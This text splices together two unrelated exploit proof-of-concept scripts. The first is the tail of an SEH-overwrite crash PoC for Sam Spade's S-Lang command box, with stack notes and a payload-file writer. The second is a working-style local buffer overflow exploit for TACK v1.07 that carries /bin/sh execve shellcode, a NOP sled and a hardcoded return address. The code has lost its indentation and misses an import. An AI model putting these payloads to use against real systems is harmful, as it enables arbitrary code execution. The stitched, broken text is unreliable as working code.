# Crash Point : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# And the Stack
#00FBFE80 41414141 AAAA
#00FBFE84 41414141 AAAA
#00FBFE88 42424242 BBBB Pointer to next SEH record
#00FBFE8C 43434343 CCCC SE handler
# After the execution of POC, the SEH chain looks like this:
#Address SE handler
#00FBFE88 43434343
#42424242 *** CORRUPT ENTRY ***
f = open("sam_spade_slang_dos.txt", "w")
Junk_a = "A"*528
nseh= "B" * 4
seh= "C" *4
f.write(Junk_a+nseh+seh)
f.close()
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: tack - Terminal action checker
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TACK v1.07 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.z <http://www.rastersoft.com/>nyx.com <http://nyx.com>*
# Kali Linux 2.0 package: pool/main/t/tack/tack_1.07-1_amd64.deb
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# TACK v1.07 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*10
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*3022
eip = "\x30\xd1\xff\xbf"
subprocess.call(["tack",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "TACK not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit TACK 1.07 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()